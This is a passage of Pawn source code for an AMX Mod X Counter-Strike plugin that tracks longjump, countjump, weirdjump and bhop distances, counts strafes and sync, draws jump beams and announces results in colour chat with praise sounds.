else if( fDistance < max_cj
&& !(fDistance < good_cj)
&& !(cj_dif > good_cj) )
{
PrintChatMess(id, get_pcvar_num(kz_good_cj_clr), DIST_GOOD, TYPE_CJ);
}
}
}
}
}
//jumptype[id] = TYPE_NONE;
}
if (testBhop[id] == false)
{
fMaxAirSpeed[id] = 0.0;
fMaxGroundSpeed[id] = 250.0;
}
cjumped[id] = false;
jumptype[id] = TYPE_NONE;
//gInAir[id] = false; //why??
}
else if( flags&FL_ONGROUND
&& gInAir[id] == false )
{
/*
//TODO: Vashe strannaia zashita; very strange protection, why we need it
pev(id, pev_velocity, vVelocity);
vVelocity[2]-=vVelocity[2];
if( vector_length(vVelocity) > maxPreSpeedWeapon
&& doubleducked[id] == false)
{
set_task(0.5,"gocheck", id);
}
*/
//gInAir[id] = false; //why?
fMaxAirSpeed[id] = 0.0;
fMaxGroundSpeed[id] = 250.0;
cjumped[id] = false;
}
}
if (gInAir[id] || isBhop[id] || doubleducked[id])
{
static i, j;
j = 0;
for( i = INFO_ZERO; i < 127; i++ )
{
if( i == 126 || (vBeamPos[id][i][0] == 0
&& vBeamPos[id][i][1] == 0
&& vBeamPos[id][i][2] == 0
&& vBeamTime[id][i] == 0) )
{
pev(id, pev_origin, vBeamPos[id][i]);
//client_print(id, print_console,"%d %f %f",i, vBeamPos[id][i][0],vBeamPos[id][i][1]);
if( i == 0 )
vBeamTime[id][i] = 15.0;
else
vBeamTime[id][i] = (get_gametime()-beam_jump_off_time[id])*10+15;
if( doubleducked[id] == true || induck[id] == true )
vBeamPosStatus[id][i] = -1.0;
else if( is_in_duck(id) )
vBeamPosStatus[id][i] = 1.0;
else
vBeamPosStatus[id][i] = 0.0;
vBeamLastTime[id] = vBeamTime[id][i];
j=i;
{
ljhel[id][0] += vBeamPos[id][i][0];
ljhel[id][1] += vBeamPos[id][i][1];
}
if (i < 13 && i > 2 && (i%3)==0 && jumptype[id] != TYPE_HJ && jumptype[id] != TYPE_WJ)
{
pev(id, pev_origin, vOrigin);
vOrigin[2] = vJumpedAt[id][2] - 38.0;
if (HJdetect(id, vOrigin))
jumptype[id] = TYPE_HJ;
}
i=127;
}
}
if ( j > 3 && (j%4)==0 && (gInAir[id] == true || isBhop[id] == true) && bljhelp[id])
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vJumpedAt[id][0]));
write_coord(floatround(vJumpedAt[id][1]));
//write_coord(floatround(vOldOrigin2[id]-34));
write_coord(floatround(vJumpedAt[id][2]-34));
write_coord(floatround((220/j)*((ljhel[id][0]/(j+1))-vJumpedAt[id][0])+vJumpedAt[id][0]));
write_coord(floatround((220/j)*((ljhel[id][1]/(j+1))-vJumpedAt[id][1])+vJumpedAt[id][1]));
//write_coord(floatround(vOldOrigin2[id]-34));
write_coord(floatround(vJumpedAt[id][2]-34));
write_short(gBeam);
write_byte(0);
write_byte(0);
if (j < 70)
{
write_byte(2);
}
else
{
write_byte(17);
}
write_byte(20);
write_byte(0);
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(200);
write_byte(0);
message_end();
}
}
if( flags&FL_ONGROUND )
{
if (!pev( id, pev_solid ))
{
static ClassName[32];
pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
if( equal(ClassName, "func_train")
|| equal(ClassName, "func_conveyor")
|| equal(ClassName, "trigger_push") || equal(ClassName, "trigger_gravity"))
{
gocheck(id);
set_task(0.4,"gocheck", id);
gocheckbhop(id);
set_task(0.4,"gocheckbhop", id);
}
else if(equal(ClassName, "func_door") || equal(ClassName, "func_door_rotating") )
{
gocheck(id);
set_task(0.4,"gocheck", id);
}
}
/* if (jumptype[id] == TYPE_WJ && OnGround[id] && !(gInAir[id])) //2nd frame
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, 3);
static i;
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(id,"Too late for weird jump");
//client_print(id, print_console, "You pressed jump too early");
}
}
gocheck(id);
set_task(0.2,"gocheck", id);
//jumptype[id] = TYPE_NONE;
} */
/*
//TODO: hates this detection of CJ, need to redone it with better detection type
if( OnGround[id] == false && !(jumptype[id] == TYPE_WJ) )
{
//pev(id, pev_origin, vOrigin); //why we need it?
if( doubleducked[id] == false
&& !(cjumped[id] == true
&& buttons&IN_JUMP
&& !(oldbuttons&IN_JUMP)) )
{
set_task(0.4,"gocheck", id);
}
else if( doubleducked[id] == true
&& vOrigin[2] != vDuckedAt[id][2] )
{
set_task(0.5,"gocheck", id);
}
OnGround[id] = true;
}
else if (OnGround[id] == false && jumptype[id] == TYPE_WJ )
{
if( !(buttons&IN_JUMP && !(oldbuttons&IN_JUMP)) )
OnGround[id] = true;
}
*/
//TODO: hates this detection of CJ, need to redone it with better detection type
if( OnGround[id] == false )
{
//pev(id, pev_origin, vOrigin); //why we need it?
if( doubleducked[id] == false
&& !(cjumped[id] == true
&& buttons&IN_JUMP
&& !(oldbuttons&IN_JUMP))
&& jumptype[id] != TYPE_WJ) //mb better jumptype[id] == TYPE_NONE
{
set_task(0.4,"gocheck", id);
// client_print(id, print_console,"popali v 1");//1111
}
else if( doubleducked[id] == true
&& vOrigin[2] != vDuckedAt[id][2] )
{
set_task(0.5,"gocheck", id);
//client_print(id, print_console,"popali v 2");//1111
}
if (jumptype[id] == TYPE_WJ && !(cjumped[id]))
{
pev(id, pev_origin, vFallAt[id]);
//client_print(id, print_console,"da etoje WJ");//1111
}
OnGround[id] = true;
}
}
if( buttons&IN_DUCK
&& flags&FL_ONGROUND
&& gInAir[id] == false
&& isBhop[id] == false
&& (fSpeed < maxPreSpeedWeapon && jumptype[id] != TYPE_WJ ) )
{
if( induck[id] == false )
{
cducked[id] = true;
induck[id] = true;
set_task(0.1,"testcjstart", id);
pev(id, pev_origin, vOrigin);
vDuckedAt[id][0] = vOrigin[0];
vDuckedAt[id][1] = vOrigin[1];
vDuckedAt[id][2] = vOrigin[2];
beam_jump_off_time[id] = get_gametime();
fCjPreSpeed[id] = fSpeed;
static i;
for( i = INFO_ZERO; i < 127; i++ )
{
vBeamPos[id][i][0] = 0.0;
vBeamPos[id][i][1] = 0.0;
vBeamPos[id][i][2] = 0.0;
vBeamTime[id][i] = 0.0;
}
vBeamLastTime[id] = 0.0;
}
}
else if( oldbuttons&IN_DUCK )
{
induck[id] = false;
if( cducked[id] == true && !is_in_duck(id) )
{
set_task(0.3,"ddend", id);
doubleducked[id] = true;
cducked[id] = false;
}
}
if( !(flags&FL_ONGROUND) )
{
OnGround[id] = false;
//client_print(id, print_console,"WJ Prestrafe %f",vVelocity[2]);
pev(id, pev_velocity, vVelocity);
if (vVelocity[2] == -4.0 ||
vVelocity[2] == -4.4 ||
vVelocity[2] == -4.8 ||
vVelocity[2] == -3.599999 ||
vVelocity[2] == -3.2) // -4. -12. -20. -28. -36. -44. -52. -60. -68. -76. -84. -92. -100. -108. -116.
{
if(!(cjumped[id]))
jumptype[id] = TYPE_WJ;
}
//if (weapSpeed[id] > 250)
//{//11111
// client_print(id, print_chat,"vot i vzleteli %f",vVelocity[2]);
//}
}
}
return FMRES_IGNORED;
}
public fwdPlayerPostThink(id)
{
if( is_user_alive(id) && get_pcvar_num(kz_ljs_enabled) )
{
static buttonsNew, flags, i;
buttonsNew = pev(id, pev_button);
flags = pev(id, pev_flags);
static Float:ori[3];
pev(id, pev_origin, ori);
pev(id, pev_velocity, vVelocity);
vVelocity[2] = 0.0;
fSpeed = vector_length(vVelocity);
if( (flags&FL_ONGROUND)
&& (gInAir[id] == true || OnGround[id] == false || isBhop[id])) //dont need @OnGround[id] == false@ here i think
{
fwdPlayerPreThink(id);
}
//maxBhopPreSpeedWeap = weapSpeed[id]*1.2;
//Linear loss of speed can be calcilated like speed = (WeaponSpeed*1.2)*0.8
if ( isBhop[id] && (gSpeed > maxBhopPreSpeedWeap) && (fSpeed < gSpeed - 30.0) && gInAir[id] ) ///w00t that gInAir here rulezz
{
fMaxAirSpeed[id] = fSpeed;
fMaxGroundBhopSpeed[id] += (fSpeed - gSpeed);//(gSpeed - fMaxGroundSpeed[id]); //is it right?
fMaxGroundSpeed[id] = fSpeed;
//client_print(id, print_console, "gSpeed %f fSpeed %f",gSpeed, fSpeed);
set_hudmessage(255,255, 200, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high %.3f^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], gSpeed, maxBhopPreSpeedWeap);
//client_print(i, print_console, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high %.3f^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], gSpeed, maxBhopPreSpeedWeap);
}
}
}
pev(id, pev_angles, angle);
if( old_angle1[id] > angle[1] )
{
turning_left[id] = false;
turning_right[id] = true;
}
else if( old_angle1[id] < angle[1] )
{
turning_left[id] = true;
turning_right[id] = false;
}
else
{
turning_left[id] = false;
turning_right[id] = false;
}
/* if( strafing_aw[id] == false
&& (buttonsNew&IN_MOVELEFT)
&& (turning_left[id] == true || turning_right[id] == true )
&& !(buttonsNew&IN_MOVERIGHT || buttonsNew&IN_BACK) )
{
strafing_aw[id] = true;
strafing_sd[id] = false;
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
else if( strafing_sd[id] == false
&& (buttonsNew&IN_MOVERIGHT)
&& (turning_left[id] == true || turning_right[id] == true )
&& !(buttonsNew&IN_MOVELEFT || buttonsNew&IN_FORWARD) )
{
strafing_aw[id] = false;
strafing_sd[id] = true;
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
*/
if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
&& (turning_left[id] || turning_right[id]) )
{
if(strafes[id] < NSTRAFES)
strafe_stat_time[id][strafes[id]] = get_gametime();
strafes[id] += INFO_ONE;
}
//add ginAir check here
if( buttonsNew&IN_MOVERIGHT
|| buttonsNew&IN_MOVELEFT
|| buttonsNew&IN_FORWARD
|| buttonsNew&IN_BACK )
{
if(strafes[id] < NSTRAFES)
{
if( fSpeed > gSpeed)
strafe_stat_sync[id][strafes[id]][0] += INFO_ONE;
else
strafe_stat_sync[id][strafes[id]][1] += INFO_ONE;
//client_print(id, print_console,"OldSpeed[id] %f gSpeed %f", OldSpeed[id], gSpeed);
}
//else
//{//TODO: ! if player made more than NSTRAFES}
}
//OldSpeed[id] = fSpeed;
if( buttonsNew&IN_RIGHT
|| buttonsNew&IN_LEFT )
{
if( flags&FL_ONGROUND )
{
possible_lj_script[id][1] = false;
if( fSpeed > 250 ) //change ro weap speed, if we need it
{
if( task_exists(id+534490) )
remove_task(id+534490);
possible_lj_script[id][0] = true;
}
}
else if( gInAir[id] || isBhop[id] )
possible_lj_script[id][1] = true;
}
else if( flags&FL_ONGROUND )
{
possible_lj_script[id][1] = false;
if( !task_exists(id+534490) && possible_lj_script[id][0] )
set_task(1.5, "isnt_prestrafe_cheating", id+534490);
}
if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( turning_left[id] || turning_right[id] )
strafecounter_oldbuttons[id] = buttons;
}
}
public isnt_prestrafe_cheating(id)
possible_lj_script[id-534490][0] = false;
public fwdTouch(ent, id)
{
static ClassName[32];
if( pev_valid(ent) )
{
pev(ent, pev_classname, ClassName, 31);
}
static ClassName2[32];
if( pev_valid(id) )
{
pev(id, pev_classname, ClassName2, 31);
}
if( equal(ClassName2, "player") )
{
//IF we need protection from func_door and func_door_rotating uncomment lines
//if( pev(id, pev_groundentity) == ent && (gInAir[id] || !OnGround[id] || testBhop[id]) ) //TODO remove BUG from here
//{
// if( pev(id, pev_flags)&FL_ONGROUND && get_gametime() > (jumptime[id]+0.1))
// {
// fwdPlayerPreThink(id);
// }
//}
// static Float:ori[3];
// static Float:velo[3];
// pev(id, pev_origin, ori);
// pev(id, pev_velocity, velo);
// if (weapSpeed[id] == 260)
// client_print(id, print_console,"Tou %f %f %f %f %f %f", ori[0],ori[1],ori[2],velo[0],velo[1],velo[2]);
//BUG?? plr can touch smth illegal on last frame...
//There is No bug, because: PreThink - Engine - Touch - PostThink, but if u uncomment upper lines we will get that bug
if( equal(ClassName, "func_train")
|| equal(ClassName, "func_conveyor")
|| equal(ClassName, "trigger_push") || equal(ClassName, "trigger_gravity"))
{
gocheck(id);
set_task(0.4,"gocheck", id);
gocheckbhop(id);
set_task(0.4,"gocheckbhop", id);
}
//IF we need protection from func_door and func_door_rotating uncomment lines
//else if(equal(ClassName, "func_door") || equal(ClassName, "func_door_rotating") )
//{
// gocheck(id);
// set_task(0.4,"gocheck", id);
//}
}
}
stock get_spectated_player(spectator)
{
if( !pev_valid(spectator) )
return 0;
if( !is_user_connected(spectator) )
return 0;
if( is_user_alive(spectator) )
return 0;
if( pev(spectator, pev_deadflag) != 2 )
return 0;
static player, specmode;
specmode = pev(spectator, pev_iuser1);
if( !(specmode == 1 || specmode == 2 || specmode == 4) )
return 0;
player = pev(spectator, pev_iuser2);
if( !pev_valid(player) )
return 0;
if( !is_user_connected(player) )
return 0;
if( !is_user_alive(player) )
return 0;
return player;
}
stock is_user_spectating_player(spectator, player)
{
if( !pev_valid(spectator) || !pev_valid(player) )
return 0;
if( !is_user_connected(spectator) || !is_user_connected(player) )
return 0;
if( is_user_alive(spectator) || !is_user_alive(player) )
return 0;
if( pev(spectator, pev_deadflag) != 2 )
return 0;
static specmode;
specmode = pev(spectator, pev_iuser1);
if( !(specmode == 1 || specmode == 2 || specmode == 4) )
return 0;
if( pev(spectator, pev_iuser2) == player )
return 1;
return 0;
}
stock is_in_duck(player)
{
// supplied with invalid entities
if( !pev_valid(player) )
return 0;
// retrieve absolutes
static Float:absmin[3], Float:absmax[3];
pev(player, pev_absmin, absmin);
pev(player, pev_absmax, absmax);
absmin[2]+=64.0;
if( absmin[2] < absmax[2] )
return 0;
return 1;
}
/*stock bool:fm_get_user_longjump(index)
{
new value[2];
engfunc(EngFunc_GetPhysicsKeyValue, index, "slj", value, 1);
switch (value[0])
{
case '1': return true;
}
return false;
}*/
stock Float:fm_distance_to_floor2(index,const Float:start[3], ignoremonsters = 1)
{
// nerekomendyy ispolzovat tk probivaet raznie i neskolko textyr za raz v opredelennih sly4aiah
//(dont use it if u dont know how it works)
new Float:dest[3], Float:end[3];
dest[0] = start[0];
dest[1] = start[1];
dest[2] = -8191.0;
engfunc(EngFunc_TraceLine, start, dest, ignoremonsters, index);
global_get(glb_trace_endpos, end);
if (end[2] == -8191.0)
return 0.0;
new Float:ret = start[2] - end[2];
return ret > 0 ? ret : 0.0;
}
stock bool:HJdetect(index,const Float:vOrigin[3])
{
//TODO better HJ detect... not buged like this
static Float:vStop[3], Float:vStart[3];
static Float:vVel[3];
static Float:speed;
static Float:fraction;
pev(index, pev_velocity, vVel);
speed = vector_length(vVel);
if( speed < 0.1 )
{
return false;
}
vStart[0] = vStop[0] = vOrigin[0] + vVel[0]/speed*16.03125;
vStart[1] = vStop[1] = vOrigin[1] + vVel[1]/speed*16.03125;
vStart[2] = vOrigin[2];// + vMins[2]; // get origin of player's feet
vStop[2] = vStart[2] - 69.0; // Changed from 34 to 70 for CS? Or am i doing something wrong..?
if( engfunc(EngFunc_PointContents, vStart) == CONTENTS_SOLID ) // make sure start origin isn't in void space, this happens on hills. not sure if it really applies edgefriction here
{
return false;
}
engfunc(EngFunc_TraceLine, vStart, vStop, 1, index); // trace a line from player feet to 70 units below that
//beam(index, vStart, vStop);
global_get(glb_trace_fraction, fraction);
if( fraction == 1.0 )
return true;
return false;
}
stock DrawBeam(id, _ljs_beam, type)
{
//predvaritelno nado podgotovit vJumpedAt2 vTraceEnd vBeamPos vOrigin gBeam vBeamTime dl9 type == 1 = lj = bj
// CJ - type ==2
static i;
if( _ljs_beam == 1)
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vJumpedAt2[0]));
write_coord(floatround(vJumpedAt2[1]));
write_coord(floatround(vJumpedAt2[2]));
write_coord(floatround(vTraceEnd[0]));
write_coord(floatround(vTraceEnd[1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(30);
write_byte(20);
write_byte(0);
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(200);
write_byte(200);
message_end();
}
else if( _ljs_beam == 2)
{
set_task(0.4, "gocheck", id);
set_task(0.8, "gocheck", id);
set_task(1.2, "gocheck", id);
for( i = INFO_ZERO; i < 127; i++ )
{
if( i == 0 )
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
if (type == 1)
{
write_coord(floatround(vJumpedAt2[0]));
write_coord(floatround(vJumpedAt2[1]));
}
else if (type == 2)
{
write_coord(floatround(vDuckedAt[id][0]));
write_coord(floatround(vDuckedAt[id][1]));
}
write_coord(floatround(vTraceEnd[2]));
write_coord(floatround(vBeamPos[id][0][0]));
write_coord(floatround(vBeamPos[id][0][1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(15);
write_byte(20);
write_byte(0);
if (type == 1)
write_byte(255);
else if (type == 2)
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vBeamPos[id][0][0]));
write_coord(floatround(vBeamPos[id][0][1]));
write_coord(floatround(vTraceEnd[2]));
write_coord(floatround(vBeamPos[id][1][0]));
write_coord(floatround(vBeamPos[id][1][1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(15);
write_byte(20);
write_byte(0);
if (type == 1)
write_byte(255);
else if (type == 2)
write_byte(0);
write_byte(255);
write_byte(0);
write_byte(200);
write_byte(200);
message_end();
}
else if( i == 126 || (vBeamPos[id][i+1][0] == 0
&& vBeamPos[id][i+1][1] == 0
&& vBeamPos[id][i+1][2] == 0) )
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vBeamPos[id][i][0]));
write_coord(floatround(vBeamPos[id][i][1]));
write_coord(floatround(vTraceEnd[2]));
write_coord(floatround(vOrigin[0]));
write_coord(floatround(vOrigin[1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(floatround(vBeamTime[id][i]));
write_byte(20);
write_byte(0);
if( vBeamPosStatus[id][i] == 1 )
{
write_byte(255);
write_byte(0);
write_byte(0);
}
else
{
write_byte(255);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(200);
message_end();
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vOrigin[0]));
write_coord(floatround(vOrigin[1]));
write_coord(floatround(vTraceEnd[2]));
write_coord(floatround(vTraceEnd[0]));
write_coord(floatround(vTraceEnd[1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(floatround(vBeamTime[id][i]));
write_byte(20);
write_byte(0);
if( vBeamPosStatus[id][i] == 1 )
{
write_byte(255);
write_byte(0);
write_byte(0);
}
else
{
write_byte(255);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(200);
message_end();
break;
}
else
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte (0);
write_coord(floatround(vBeamPos[id][i][0]));
write_coord(floatround(vBeamPos[id][i][1]));
write_coord(floatround(vTraceEnd[2]));
write_coord(floatround(vBeamPos[id][i+1][0]));
write_coord(floatround(vBeamPos[id][i+1][1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(floatround(vBeamTime[id][i]));
write_byte(20);
write_byte(0);
if( vBeamPosStatus[id][i] == 1)
{
write_byte(255);
write_byte(0);
write_byte(0);
}
else if( vBeamPosStatus[id][i] == -1 && type == 2)
{
write_byte(0);
write_byte(255);
write_byte(0);
}
else
{
write_byte(255);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(200);
message_end();
}
}
}
return i;
}
stock DrawSpecBeam(i)
{
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, i);
write_byte (0);
write_coord(floatround(vJumpedAt2[0]));
write_coord(floatround(vJumpedAt2[1]));
write_coord(floatround(vJumpedAt2[2]));
write_coord(floatround(vTraceEnd[0]));
write_coord(floatround(vTraceEnd[1]));
write_coord(floatround(vTraceEnd[2]));
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(30);
write_byte(20);
write_byte(0);
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(random_num(32, 255));
write_byte(200);
write_byte(200);
message_end();
}
stock PrintChatMess(id, color, _DistType, _JumpType)
{
static name[33], i;
get_user_name(id, name, 31);
//TODO za4em takie yslovi9 ???? //why we need such if //pohorowemy (i == id || is_user_spectating_player(i, id)) nenado
// pohorowemy voobshe bgo a ne yslovi9
if( _JumpType == TYPE_LJ )
{
for( i = INFO_ONE; i < 33; i++ )
{
if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
{
if( color < 6 && color > 0 )
{
switch(color)
{
case 1: ColorChat(i, RED, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
}
}
else
client_print(i, print_chat, "[XJ] %s jumped %.3f units with lj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
if (_DistType == DIST_PRO)
{
if( (i == id || is_user_spectating_player(i, id)))
client_cmd(i, "speak misc/perfect");
}
else if (_DistType == DIST_LEET)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/mod_wickedsick");
}
else if (_DistType == DIST_GOOD)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/impressive");
}
else if (_DistType == DIST_GOD)
{
client_cmd(i, "speak misc/mod_godlike");
}
}
}
}
}
else if ( _JumpType == TYPE_CJ )
{
for( i = INFO_ONE; i < 33; i++ )
{
if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
{
if( color < 6 && color > 0 )
{
switch(color)
{
case 1: ColorChat(i, RED, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
}
}
else
client_print(i, print_chat, "[XJ] %s jumped %.3f units with cj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
if (_DistType == DIST_PRO)
{
if( (i == id || is_user_spectating_player(i, id)))
client_cmd(i, "speak misc/perfect");
}
else if (_DistType == DIST_LEET)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/mod_wickedsick");
}
else if (_DistType == DIST_GOOD)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/impressive");
}
else if (_DistType == DIST_GOD)
{
client_cmd(i, "speak misc/mod_godlike");
}
}
}
}
}
else if ( _JumpType == TYPE_WJ )
{
for( i = INFO_ONE; i < 33; i++ )
{
if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
{
if( color < 6 && color > 0 )
{
switch(color)
{
case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 5: ColorChat(i, TEAM_COLOR, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
}
}
else
client_print(i, print_chat, "[XJ] %s jumped %.3f units with wj!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
if (_DistType == DIST_PRO)
{
if( (i == id || is_user_spectating_player(i, id)))
client_cmd(i, "speak misc/perfect");
}
else if (_DistType == DIST_LEET)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/mod_wickedsick");
}
else if (_DistType == DIST_GOOD)
{
if( i == id || is_user_spectating_player(i, id) )
client_cmd(i, "speak misc/impressive");
}
else if (_DistType == DIST_GOD)
{
client_cmd(i, "speak misc/mod_godlike");
}
}
}
}
}
else if ( _JumpType == TYPE_BJ )
{
for( i = INFO_ONE; i < 33; i++ )
{
if( i == id || is_user_spectating_player(i, id) || (pev_valid(i) && is_user_connected(i) && gHasColorChat[i]) )
{
if( color < 6 && color > 0 )
{
switch(color)
{
case 1: ColorChat(i, BLUE, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 2: ColorChat(i, GREEN, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 3: ColorChat(i, RED, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
case 4: ColorChat(i, GREY, "[XJ] %s jumped %.3f units with bhop!^x01 (Strafe: %d / Sync: %d%%)", name, fDistance,strafes[id], sync_);
